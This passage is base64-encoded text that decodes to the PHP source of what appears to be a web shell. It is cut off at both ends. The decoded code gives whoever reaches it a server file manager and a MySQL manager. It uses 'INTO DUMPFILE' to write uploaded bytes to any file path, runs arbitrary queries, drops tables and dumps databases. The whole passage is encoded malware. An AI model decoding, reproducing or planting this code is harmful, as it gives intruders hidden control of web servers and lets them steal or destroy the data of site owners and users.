JCSRmaWxldXJsID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkZmlsZWRiWydzZXJ2ZXJfbGluayddKTsNCgkJCSR0aGlzYmcgPSBiZygpOw0KCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJkbFsnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ10iPjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kZmlsZWRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jy4kZmlsZWRiWydtdGltZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBub3dyYXA+Jyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVjaG1vZCddLic8L2E+IC8gJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bmZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+RG93bjwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkNvcHk8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ2VkaXRmaWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPkVkaXQ8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPiB8ICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCduZXd0aW1lXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPlRpbWU8L2E+Jyk7DQoJCQlwKCc8L3RkPjwvdHI+Jyk7DQoJCQkkZmlsZV9pKys7DQoJCX0NCgl9DQoJcCgnPHRyIGNsYXNzPSJmb3V0MSI+PHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD48dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+UGFja2luZyBkb3dubG9hZCBzZWxlY3RlZDwvYT4gLSA8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcpOyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOw0KCXAoJzwvZm9ybT48L3RhYmxlPicpOw0KfS8vIGVuZCBkaXINCg0KZWxzZWlmICgkYWN0aW9uID09ICdzcWxmaWxlJykgew0KCWlmKCRkb2luZz09Im15c3FsdXBsb2FkIil7DQoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOw0KCQkkZmlsZW5hbWUgPSAkZmlsZVsndG1wX25hbWUnXTsNCgkJaWYgKGZpbGVfZXhpc3RzKCRzYXZlcGF0aCkpIHsNCgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOw0KCQl9IGVsc2Ugew0KCQkJaWYoISRmaWxlbmFtZSkgew0KCQkJCW0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7DQoJCQl9IGVsc2Ugew0KCQkJCSRmcD1AZm9wZW4oJGZpbGVuYW1lLCdyJyk7DQoJCQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCQkkY29udGVudHMgPSBiaW4yaGV4KCRjb250ZW50cyk7DQoJCQkJaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOw0KCQkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJCSRyZXN1bHQgPSBxKCJTRUxFQ1QgMHh7JGNvbnRlbnRzfSBGUk9NIG15c3FsLnVzZXIgSU5UTyBEVU1QRklMRSAnJHNhdmVwYXRoJzsiKTsNCgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOw0KCQkJfQ0KCQl9DQoJfQ0KPz4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gbXlzcWxmaWxlKGRvaW5nKXsNCglpZighZG9pbmcpIHJldHVybjsNCgkkKCdkb2luZycpLnZhbHVlPWRvaW5nOw0KCSQoJ215c3FsZmlsZScpLmRiaG9zdC52YWx1ZT0kKCdkYmluZm8nKS5kYmhvc3QudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuZGJwb3J0LnZhbHVlPSQoJ2RiaW5mbycpLmRicG9ydC52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5kYnVzZXIudmFsdWU9JCgnZGJpbmZvJykuZGJ1c2VyLnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRicGFzcy52YWx1ZT0kKCdkYmluZm8nKS5kYnBhc3MudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuZGJuYW1lLnZhbHVlPSQoJ2RiaW5mbycpLmRibmFtZS52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5jaGFyc2V0LnZhbHVlPSQoJ2RiaW5mbycpLmNoYXJzZXQudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjw/cGhwDQoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOw0KCSEkZGJ1c2VyICYmICRkYnVzZXIgPSAncm9vdCc7DQoJISRkYnBvcnQgJiYgJGRicG9ydCA9ICczMzA2JzsNCgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgSW5mb3JtYXRpb24nLCduYW1lJz0+J2RiaW5mbycpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsZmlsZScpOw0KCXAoJzxwPicpOw0KCXAoJ0RCSG9zdDonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJob3N0Jywnc2l6ZSc9PjIwLCd2YWx1ZSc9PiRkYmhvc3QpKTsNCglwKCc6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1ZSc9PiRkYnBvcnQpKTsNCglwKCdEQlVzZXI6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7DQoJcCgnREJQYXNzOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBhc3MnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRicGFzcykpOw0KCXAoJ0RCTmFtZTonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJuYW1lJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYm5hbWUpKTsNCglwKCdEQkNoYXJzZXQ6Jyk7DQoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQoJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0ibXlzcWxmaWxlIiBpZD0ibXlzcWxmaWxlIj4nKTsNCglwKCc8aDI+VXBsb2FkIGZpbGU8L2gyPicpOw0KCXAoJzxwPjxiPlRoaXMgb3BlcmF0aW9uIHRoZSBEQiB1c2VyIG11c3QgaGFzIEZJTEUgcHJpdmlsZWdlPC9iPjwvcD4nKTsNCglwKCc8cD5TYXZlIHBhdGgoZnVsbHBhdGgpOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJzYXZlcGF0aCIgc2l6ZT0iNDUiIHR5cGU9InRleHQiIC8+IENob29zZSBhIGZpbGU6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHR5cGU9ImZpbGUiIC8+IDxhIGhyZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWx1cGxvYWRcJyk7Ij5VcGxvYWQ8L2E+PC9wPicpOw0KCXAoJzxoMj5Eb3dubG9hZCBmaWxlPC9oMj4nKTsNCglwKCc8cD5GaWxlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJteXNxbGRsZmlsZSIgc2l6ZT0iMTE1IiB0eXBlPSJ0ZXh0IiAvPiA8YSBocmVmPSJqYXZhc2NyaXB0Om15c3FsZmlsZShcJ215c3FsZG93blwnKTsiPkRvd25sb2FkPC9hPjwvcD4nKTsNCgltYWtlaGlkZSgnZGJob3N0Jyk7DQoJbWFrZWhpZGUoJ2RicG9ydCcpOw0KCW1ha2VoaWRlKCdkYnVzZXInKTsNCgltYWtlaGlkZSgnZGJwYXNzJyk7DQoJbWFrZWhpZGUoJ2RibmFtZScpOw0KCW1ha2VoaWRlKCdjaGFyc2V0Jyk7DQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsNCglwKCc8L2Zvcm0+Jyk7DQp9DQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnc3FsYWRtaW4nKSB7DQoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOw0KCSEkZGJ1c2VyICYmICRkYnVzZXIgPSAncm9vdCc7DQoJISRkYnBvcnQgJiYgJGRicG9ydCA9ICczMzA2JzsNCgkkZGJmb3JtID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJjb25uZWN0IiBuYW1lPSJjb25uZWN0IiB2YWx1ZT0iMSIgLz4nOw0KCWlmKGlzc2V0KCRkYmhvc3QpKXsNCgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRiaG9zdFwiIG5hbWU9XCJkYmhvc3RcIiB2YWx1ZT1cIiRkYmhvc3RcIiAvPlxuIjsNCgl9DQoJaWYoaXNzZXQoJGRidXNlcikpIHsNCgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRidXNlclwiIG5hbWU9XCJkYnVzZXJcIiB2YWx1ZT1cIiRkYnVzZXJcIiAvPlxuIjsNCgl9DQoJaWYoaXNzZXQoJGRicGFzcykpIHsNCgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRicGFzc1wiIG5hbWU9XCJkYnBhc3NcIiB2YWx1ZT1cIiRkYnBhc3NcIiAvPlxuIjsNCgl9DQoJaWYoaXNzZXQoJGRicG9ydCkpIHsNCgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRicG9ydFwiIG5hbWU9XCJkYnBvcnRcIiB2YWx1ZT1cIiRkYnBvcnRcIiAvPlxuIjsNCgl9DQoJaWYoaXNzZXQoJGRibmFtZSkpIHsNCgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRibmFtZVwiIG5hbWU9XCJkYm5hbWVcIiB2YWx1ZT1cIiRkYm5hbWVcIiAvPlxuIjsNCgl9DQoJaWYoaXNzZXQoJGNoYXJzZXQpKSB7DQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJjaGFyc2V0XCIgbmFtZT1cImNoYXJzZXRcIiB2YWx1ZT1cIiRjaGFyc2V0XCIgLz5cbiI7DQoJfQ0KDQoJaWYgKCRkb2luZyA9PSAnYmFja3VwbXlzcWwnICYmICRzYXZlYXNmaWxlKSB7DQoJCWlmICghJHRhYmxlKSB7DQoJCQltKCdQbGVhc2UgY2hvb3NlIHRoZSB0YWJsZScpOw0KCQl9IGVsc2Ugew0KCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoJCQkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7DQoJCQkkZnAgPSBAZm9wZW4oJHBhdGgsJ3cnKTsNCgkJCWlmICgkZnApIHsNCgkJCQkkcmVzdWx0ID0gcSgnU0hPVyB0YWJsZXMnKTsNCgkJCQlpZiAoISRyZXN1bHQpIHAoJzxoMj4nLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7DQoJCQkJJG15c3FsZGF0YSA9ICcnOw0KCQkJCXdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJCQkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsNCgkJCQkJCXNxbGR1bXB0YWJsZSgkY3Vycm93WzBdLCAkZnApOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWZjbG9zZSgkZnApOw0KCQkJCSRmaWxldXJsID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkcGF0aCk7DQoJCQkJbSgnRGF0YWJhc2UgaGFzIHN1Y2Nlc3MgYmFja3VwIHRvIDxhIGhyZWY9IicuJGZpbGV1cmwuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJHBhdGguJzwvYT4nKTsNCgkJCQlteXNxbF9jbG9zZSgpOw0KCQkJfSBlbHNlIHsNCgkJCQltKCdCYWNrdXAgZmFpbGVkJyk7DQoJCQl9DQoJCX0NCgl9DQoJaWYgKCRpbnNlcnQgJiYgJGluc2VydHNxbCkgew0KCQkka2V5c3RyID0gJHZhbHN0ciA9ICR0bXAgPSAnJzsNCgkJZm9yZWFjaCgkaW5zZXJ0c3FsIGFzICRrZXkgPT4gJHZhbCkgew0KCQkJaWYgKCR2YWwpIHsNCgkJCQkka2V5c3RyIC49ICR0bXAuJGtleTsNCgkJCQkkdmFsc3RyIC49ICR0bXAuIiciLmFkZHNsYXNoZXMoJHZhbCkuIiciOw0KCQkJCSR0bXAgPSAnLCc7DQoJCQl9DQoJCX0NCgkJaWYgKCRrZXlzdHIgJiYgJHZhbHN0cikgew0KCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoJCQltKHEoIklOU0VSVCBJTlRPICR0YWJsZW5hbWUgKCRrZXlzdHIpIFZBTFVFUyAoJHZhbHN0cikiKSA/ICdJbnNlcnQgbmV3IHJlY29yZCBvZiBzdWNjZXNzJyA6IG15c3FsX2Vycm9yKCkpOw0KCQl9DQoJfQ0KCWlmICgkdXBkYXRlICYmICRpbnNlcnRzcWwgJiYgJGJhc2U2NCkgew0KCQkkdmFsc3RyID0gJHRtcCA9ICcnOw0KCQlmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7DQoJCQkkdmFsc3RyIC49ICR0bXAuJGtleS4iPSciLmFkZHNsYXNoZXMoJHZhbCkuIiciOw0KCQkJJHRtcCA9ICcsJzsNCgkJfQ0KCQlpZiAoJHZhbHN0cikgew0KCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQkJbShxKCJVUERBVEUgJHRhYmxlbmFtZSBTRVQgJHZhbHN0ciBXSEVSRSAkd2hlcmUgTElNSVQgMSIpID8gJ1JlY29yZCB1cGRhdGluZycgOiBteXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCglpZiAoJGRvaW5nID09ICdkZWwnICYmICRiYXNlNjQpIHsNCgkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsNCgkJJGRlbGV0ZV9zcWwgPSAiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiOw0KCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCgkJbShxKCJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSIpID8gJ0RlbGV0aW9uIHJlY29yZCBvZiBzdWNjZXNzJyA6IG15c3FsX2Vycm9yKCkpOw0KCX0NCg0KCWlmICgkdGFibGVuYW1lICYmICRkb2luZyA9PSAnZHJvcCcpIHsNCgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoJCWlmIChxKCJEUk9QIFRBQkxFICR0YWJsZW5hbWUiKSkgew0KCQkJbSgnRHJvcCB0YWJsZSBvZiBzdWNjZXNzJyk7DQoJCQkkdGFibGVuYW1lID0gJyc7DQoJCX0gZWxzZSB7DQoJCQltKG15c3FsX2Vycm9yKCkpOw0KCQl9DQoJfQ0KDQoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dCSycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7DQoNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgTWFuYWdlcicpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCglwKCc8cD4nKTsNCglwKCdEQkhvc3Q6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7DQoJcCgnOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7DQoJcCgnREJVc2VyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOw0KCXAoJ0RCUGFzczonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsNCglwKCdEQkNoYXJzZXQ6Jyk7DQoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2Nvbm5lY3QnLCd2YWx1ZSc9PidDb25uZWN0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3QoKTsNCj8+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGVkaXRyZWNvcmQoYWN0aW9uLCBiYXNlNjQsIHRhYmxlbmFtZSl7DQoJaWYgKGFjdGlvbiA9PSAnZGVsJykgew0KCQlpZiAoIWNvbmZpcm0oJ0lzIG9yIGlzblwndCBkZWxldGlvbiByZWNvcmQ/JykpIHJldHVybjsNCgl9DQoJJCgncmVjb3JkbGlzdCcpLmRvaW5nLnZhbHVlPWFjdGlvbjsNCgkkKCdyZWNvcmRsaXN0JykuYmFzZTY0LnZhbHVlPWJhc2U2NDsNCgkkKCdyZWNvcmRsaXN0JykudGFibGVuYW1lLnZhbHVlPXRhYmxlbmFtZTsNCgkkKCdyZWNvcmRsaXN0Jykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBtb2RkYm5hbWUoZGJuYW1lKSB7DQoJaWYoIWRibmFtZSkgcmV0dXJuOw0KCSQoJ3NldGRibmFtZScpLmRibmFtZS52YWx1ZT1kYm5hbWU7DQoJJCgnc2V0ZGJuYW1lJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBzZXR0YWJsZSh0YWJsZW5hbWUsZG9pbmcscGFnZSkgew0KCWlmKCF0YWJsZW5hbWUpIHJldHVybjsNCglpZiAoZG9pbmcpIHsNCgkJJCgnc2V0dGFibGUnKS5kb2luZy52YWx1ZT1kb2luZzsNCgl9DQoJaWYgKHBhZ2UpIHsNCgkJJCgnc2V0dGFibGUnKS5wYWdlLnZhbHVlPXBhZ2U7DQoJfQ0KCSQoJ3NldHRhYmxlJykudGFibGVuYW1lLnZhbHVlPXRhYmxlbmFtZTsNCgkkKCdzZXR0YWJsZScpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8P3BocA0KCS8vIFNRTA0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlY29yZGxpc3QnKSk7DQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJbWFrZWhpZGUoJ2Jhc2U2NCcpOw0KCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsNCglwKCRkYmZvcm0pOw0KCWZvcm1mb290KCk7DQoNCgkvLyBEYXRhDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0ZGJuYW1lJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KCXAoJGRiZm9ybSk7DQoJaWYgKCEkZGJuYW1lKSB7DQoJCW1ha2VoaWRlKCdkYm5hbWUnKTsNCgl9DQoJZm9ybWZvb3QoKTsNCg0KDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0dGFibGUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgkZGJmb3JtKTsNCgltYWtlaGlkZSgndGFibGVuYW1lJyk7DQoJbWFrZWhpZGUoJ3BhZ2UnLCRwYWdlKTsNCgltYWtlaGlkZSgnZG9pbmcnKTsNCglmb3JtZm9vdCgpOw0KDQoJJGNhY2hldGFibGVzID0gYXJyYXkoKTsNCgkkcGFnZW51bSA9IDMwOw0KCSRwYWdlID0gaW50dmFsKCRwYWdlKTsNCglpZigkcGFnZSkgew0KCQkkc3RhcnRfbGltaXQgPSAoJHBhZ2UgLSAxKSAqICRwYWdlbnVtOw0KCX0gZWxzZSB7DQoJCSRzdGFydF9saW1pdCA9IDA7DQoJCSRwYWdlID0gMTsNCgl9DQoJaWYgKGlzc2V0KCRkYmhvc3QpICYmIGlzc2V0KCRkYnVzZXIpICYmIGlzc2V0KCRkYnBhc3MpICYmIGlzc2V0KCRjb25uZWN0KSkgew0KCQlkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOw0KCQkvLyBnZXQgbXlzcWwgc2VydmVyDQoJCSRteXNxbHZlciA9IG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpOw0KCQlwKCc8cD5NeVNRTCAnLiRteXNxbHZlci4nIHJ1bm5pbmcgaW4gJy4kZGJob3N0LicgYXMgJy4kZGJ1c2VyLidAJy4kZGJob3N0Lic8L3A+Jyk7DQoJCSRoaWdodmVyID0gJG15c3FsdmVyID4gJzQuMScgPyAxIDogMDsNCg0KCQkvLyBTaG93IGRhdGFiYXNlDQoJCSRxdWVyeSA9IHEoIlNIT1cgREFUQUJBU0VTIik7DQoJCSRkYnMgPSBhcnJheSgpOw0KCQkkZGJzW10gPSAnLS0gU2VsZWN0IGEgZGF0YWJhc2UgLS0nOw0KCQl3aGlsZSgkZGIgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoJCQkkZGJzWyRkYlsnRGF0YWJhc2UnXV0gPSAkZGJbJ0RhdGFiYXNlJ107DQoJCX0NCgkJbWFrZXNlbGVjdChhcnJheSgndGl0bGUnPT4nUGxlYXNlIHNlbGVjdCBhIGRhdGFiYXNlOicsJ25hbWUnPT4nZGJbXScsJ29wdGlvbic9PiRkYnMsJ3NlbGVjdGVkJz0+JGRibmFtZSwnb25jaGFuZ2UnPT4nbW9kZGJuYW1lKHRoaXMub3B0aW9uc1t0aGlzLnNlbGVjdGVkSW5kZXhdLnZhbHVlKScsJ25ld2xpbmUnPT4xKSk7DQoJCSR0YWJsZWRiID0gYXJyYXkoKTsNCgkJaWYgKCRkYm5hbWUpIHsNCgkJCXAoJzxwPicpOw0KCQkJcCgnQ3VycmVudCBkYWJhYmFzZTogPGEgaHJlZj0iamF2YXNjcmlwdDptb2RkYm5hbWUoXCcnLiRkYm5hbWUuJ1wnKTsiPicuJGRibmFtZS4nPC9hPicpOw0KCQkJaWYgKCR0YWJsZW5hbWUpIHsNCgkJCQlwKCcgfCBDdXJyZW50IFRhYmxlOiA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJyk7Ij4nLiR0YWJsZW5hbWUuJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdpbnNlcnRcJyk7Ij5JbnNlcnQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnc3RydWN0dXJlXCcpOyI+U3RydWN0dXJlPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdJyk7DQoJCQl9DQoJCQlwKCc8L3A+Jyk7DQoJCQlteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7DQoNCgkJCSRnZXRudW1zcWwgPSAnJzsNCgkJCSRydW5xdWVyeSA9IDA7DQoJCQlpZiAoJHNxbF9xdWVyeSkgew0KCQkJCSRydW5xdWVyeSA9IDE7DQoJCQl9DQoJCQkkYWxsb3dlZGl0ID0gMDsNCgkJCWlmICgkdGFibGVuYW1lICYmICEkc3FsX3F1ZXJ5KSB7DQoJCQkJJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICR0YWJsZW5hbWUiOw0KCQkJCSRnZXRudW1zcWwgPSAkc3FsX3F1ZXJ5Ow0KCQkJCSRzcWxfcXVlcnkgPSAkc3FsX3F1ZXJ5LiIgTElNSVQgJHN0YXJ0X2xpbWl0LCAkcGFnZW51bSI7DQoJCQkJJGFsbG93ZWRpdCA9IDE7DQoJCQl9DQoJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsNCgkJCXAoJzxwPjx0YWJsZSB3aWR0aD0iMjAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZCBjb2xzcGFuPSIyIj5SdW4gU1FMIHF1ZXJ5L3F1ZXJpZXMgb24gZGF0YWJhc2UgPGZvbnQgY29sb3I9cmVkPjxiPicuJGRibmFtZS4nPC9mb250PjwvYj46PEJSPkV4YW1wbGUgVkJCIFBhc3N3b3Jk